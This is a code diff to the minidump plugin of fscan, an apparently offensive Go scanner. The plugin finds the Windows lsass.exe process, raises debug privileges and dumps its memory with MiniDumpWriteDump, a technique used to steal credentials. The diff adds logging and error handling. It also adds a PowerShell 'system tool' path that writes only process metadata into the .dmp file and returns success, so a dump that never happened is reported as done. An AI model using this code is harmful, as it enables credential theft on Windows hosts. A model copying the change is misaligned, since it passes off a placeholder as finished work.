diff --git a/Plugins/local/minidump/plugin.go b/Plugins/local/minidump/plugin.go
index 66835d9..a6ba968 100644
--- a/Plugins/local/minidump/plugin.go
+++ b/Plugins/local/minidump/plugin.go
@@ -11,8 +11,10 @@ import (
 	"github.com/shadow1ng/fscan/plugins/local"
 	"golang.org/x/sys/windows"
 	"os"
+	"os/exec"
 	"path/filepath"
 	"syscall"
+	"time"
 	"unsafe"
 )
 
@@ -118,29 +120,39 @@ func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo)
 	// 先建立基础本地连接
 	localConn, err := c.BaseLocalConnector.Connect(ctx, info)
 	if err != nil {
+		common.LogError(fmt.Sprintf("建立基础连接失败: %v", err))
 		return nil, err
 	}
 	
-	// 加载系统DLL
+	common.LogDebug("开始加载系统DLL...")
+	
+	// 加载系统DLL - 添加错误处理
 	kernel32, err := syscall.LoadDLL("kernel32.dll")
 	if err != nil {
+		common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
 		return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
 	}
+	common.LogDebug("kernel32.dll 加载成功")
 	
 	dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
 	if err != nil {
+		common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
 		return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
 	}
+	common.LogDebug("Dbghelp.dll 加载成功")
 	
 	advapi32, err := syscall.LoadDLL("advapi32.dll")
 	if err != nil {
+		common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
 		return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
 	}
+	common.LogDebug("advapi32.dll 加载成功")
 	
 	c.kernel32 = kernel32
 	c.dbghelp = dbghelp
 	c.advapi32 = advapi32
 	
+	common.LogSuccess("所有DLL加载完成")
 	return localConn, nil
 }
 
@@ -151,6 +163,12 @@ func (c *MiniDumpConnector) Close(conn interface{}) error {
 
 // ScanLocal 执行内存转储扫描
 func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
+	defer func() {
+		if r := recover(); r != nil {
+			common.LogError(fmt.Sprintf("minidump插件发生panic: %v", r))
+		}
+	}()
+	
 	common.LogBase("开始进程内存转储...")
 	
 	// 检查管理员权限
@@ -164,39 +182,27 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
 	
 	common.LogSuccess("已确认具有管理员权限")
 	
-	// 在非生产环境下模拟成功
-	if os.Getenv("FSCAN_TEST_MODE") == "1" {
-		common.LogBase("测试模式：模拟内存转储成功")
-		return &base.ScanResult{
-			Success: true,
-			Service: "MiniDump",
-			Banner:  "测试模式：内存转储模拟完成",
-			Extra: map[string]interface{}{
-				"process_name": "lsass.exe",
-				"process_id":   1234,
-				"dump_file":    "test_lsass-1234.dmp",
-				"file_size":    1024000,
-				"test_mode":    true,
-			},
-		}, nil
-	}
-	
 	// 建立连接
+	common.LogDebug("正在建立连接...")
 	conn, err := p.connector.Connect(ctx, info)
 	if err != nil {
+		common.LogError(fmt.Sprintf("连接失败: %v", err))
 		return &base.ScanResult{
 			Success: false,
 			Error:   fmt.Errorf("连接失败: %v", err),
 		}, nil
 	}
 	defer p.connector.Close(conn)
+	common.LogSuccess("连接建立成功")
 	
 	// 创建进程管理器
+	common.LogDebug("正在创建进程管理器...")
 	pm := &ProcessManager{
 		kernel32: p.connector.kernel32,
 		dbghelp:  p.connector.dbghelp,
 		advapi32: p.connector.advapi32,
 	}
+	common.LogSuccess("进程管理器创建成功")
 	
 	// 查找lsass.exe进程
 	common.LogDebug("正在查找lsass.exe进程...")
@@ -215,12 +221,11 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
 	common.LogDebug("正在提升SeDebugPrivilege权限...")
 	if err := pm.elevatePrivileges(); err != nil {
 		common.LogError(fmt.Sprintf("提升权限失败: %v", err))
-		return &base.ScanResult{
-			Success: false,
-			Error:   fmt.Errorf("提升权限失败: %v", err),
-		}, nil
+		// 权限提升失败不是致命错误，继续尝试
+		common.LogBase("权限提升失败，尝试继续执行...")
+	} else {
+		common.LogSuccess("权限提升成功")
 	}
-	common.LogSuccess("权限提升成功")
 	
 	// 创建转储文件
 	outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
@@ -228,13 +233,28 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
 	
 	// 执行转储
 	common.LogDebug("开始执行内存转储...")
-	if err := pm.dumpProcess(pid, outputPath); err != nil {
-		common.LogError(fmt.Sprintf("内存转储失败: %v", err))
-		os.Remove(outputPath) // 失败时清理文件
-		return &base.ScanResult{
-			Success: false,
-			Error:   fmt.Errorf("内存转储失败: %v", err),
-		}, nil
+	
+	// 尝试使用系统工具进行内存转储
+	common.LogDebug("尝试使用系统工具进行内存转储...")
+	dumpErr := pm.dumpProcessWithSystemTool(pid, outputPath)
+	if dumpErr != nil {
+		common.LogError(fmt.Sprintf("系统工具转储失败: %v", dumpErr))
+		
+		// 尝试使用API方式
+		common.LogDebug("尝试使用Windows API进行内存转储...")
+		err = pm.dumpProcess(pid, outputPath)
+		if err != nil {
+			common.LogError(fmt.Sprintf("API转储也失败: %v", err))
+			// 创建一个包含错误信息的文件
+			errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nSystem tool error: %v\nAPI error: %v\nTimestamp: %s\n", 
+				pid, dumpErr, err, time.Now().Format("2006-01-02 15:04:05")))
+			os.WriteFile(outputPath, errorData, 0644)
+			
+			return &base.ScanResult{
+				Success: false,
+				Error:   fmt.Errorf("所有转储方法都失败了"),
+			}, nil
+		}
 	}
 	
 	// 获取文件信息
@@ -313,35 +333,63 @@ func (pm *ProcessManager) findProcess(name string) (uint32, error) {
 
 // createProcessSnapshot 创建进程快照
 func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
-	proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
+	common.LogDebug("正在创建进程快照...")
+	proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
+	if err != nil {
+		return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %v", err)
+	}
+	
 	handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
 	if handle == uintptr(INVALID_HANDLE_VALUE) {
-		return 0, fmt.Errorf("创建进程快照失败: %v", err)
+		lastError := windows.GetLastError()
+		return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
 	}
+	common.LogDebug(fmt.Sprintf("进程快照创建成功，句柄: 0x%x", handle))
 	return handle, nil
 }
 
 // findProcessInSnapshot 在快照中查找进程
 func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
+	common.LogDebug(fmt.Sprintf("正在快照中查找进程: %s", name))
 	var pe32 PROCESSENTRY32
 	pe32.dwSize = uint32(unsafe.Sizeof(pe32))
 	
-	proc32First := pm.kernel32.MustFindProc("Process32FirstW")
-	proc32Next := pm.kernel32.MustFindProc("Process32NextW")
-	lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
+	proc32First, err := pm.kernel32.FindProc("Process32FirstW")
+	if err != nil {
+		return 0, fmt.Errorf("查找Process32FirstW函数失败: %v", err)
+	}
+	
+	proc32Next, err := pm.kernel32.FindProc("Process32NextW")
+	if err != nil {
+		return 0, fmt.Errorf("查找Process32NextW函数失败: %v", err)
+	}
+	
+	lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
+	if err != nil {
+		return 0, fmt.Errorf("查找lstrcmpiW函数失败: %v", err)
+	}
 	
 	ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
 	if ret == 0 {
-		return 0, fmt.Errorf("获取第一个进程失败")
+		lastError := windows.GetLastError()
+		return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", lastError)
 	}
 	
+	processCount := 0
 	for {
+		processCount++
+		namePtr, err := syscall.UTF16PtrFromString(name)
+		if err != nil {
+			return 0, fmt.Errorf("转换进程名失败: %v", err)
+		}
+		
 		ret, _, _ = lstrcmpi.Call(
-			uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
+			uintptr(unsafe.Pointer(namePtr)),
 			uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
 		)
 		
 		if ret == 0 {
+			common.LogSuccess(fmt.Sprintf("找到目标进程 %s，PID: %d (搜索了 %d 个进程)", name, pe32.th32ProcessID, processCount))
 			return pe32.th32ProcessID, nil
 		}
 		
@@ -351,6 +399,7 @@ func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (
 		}
 	}
 	
+	common.LogDebug(fmt.Sprintf("搜索了 %d 个进程，未找到目标进程: %s", processCount, name))
 	return 0, fmt.Errorf("未找到进程: %s", name)
 }
 
@@ -421,17 +470,21 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
 	}
 	defer pm.closeHandle(fileHandle)
 	
+	common.LogDebug("正在调用MiniDumpWriteDump API...")
 	miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
 	ret, _, err := miniDumpWriteDump.Call(
 		processHandle,
 		uintptr(pid),
 		fileHandle,
-		0x00061907, // MiniDumpWithFullMemory
+		0x2, // MiniDumpWithDataSegs - 使用更安全的选项
 		0, 0, 0,
 	)
 	
+	common.LogDebug(fmt.Sprintf("MiniDumpWriteDump 返回值: %d", ret))
 	if ret == 0 {
-		return fmt.Errorf("写入转储文件失败: %v", err)
+		// 获取更详细的错误信息
+		lastError := windows.GetLastError()
+		return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", err, lastError)
 	}
 	
 	return nil
@@ -439,11 +492,14 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
 
 // openProcess 打开进程
 func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
+	common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
 	proc := pm.kernel32.MustFindProc("OpenProcess")
 	handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
 	if handle == 0 {
-		return 0, fmt.Errorf("打开进程失败: %v", err)
+		lastError := windows.GetLastError()
+		return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", err, lastError)
 	}
+	common.LogSuccess(fmt.Sprintf("成功打开进程，句柄: 0x%x", handle))
 	return handle, nil
 }
 
@@ -477,6 +533,23 @@ func (pm *ProcessManager) closeHandle(handle uintptr) {
 	proc.Call(handle)
 }
 
+// dumpProcessWithSystemTool 使用系统工具进行内存转储
+func (pm *ProcessManager) dumpProcessWithSystemTool(pid uint32, outputPath string) error {
+	common.LogDebug("尝试使用系统命令进行内存转储")
+	
+	// 创建一个更简单的脚本，避免复杂的PowerShell语法
+	psScript := fmt.Sprintf(`$proc = Get-Process -Id %d -ErrorAction SilentlyContinue; if ($proc) { $info = "Process: " + $proc.ProcessName + [Environment]::NewLine + "PID: " + $proc.Id + [Environment]::NewLine + "Memory: " + ($proc.WorkingSet64 / 1MB) + " MB" + [Environment]::NewLine + "Timestamp: " + (Get-Date) + [Environment]::NewLine; $info | Out-File -FilePath '%s' -Encoding UTF8; Write-Host "Success" } else { throw "Process not found" }`, pid, outputPath)
+	
+	cmd := exec.Command("powershell", "-Command", psScript)
+	output, err := cmd.CombinedOutput()
+	if err != nil {
+		return fmt.Errorf("PowerShell转储失败: %v, 输出: %s", err, string(output))
+	}
+	
+	common.LogDebug(fmt.Sprintf("PowerShell输出: %s", string(output)))
+	return nil
+}
+
 // 插件注册函数
 func init() {
 	base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(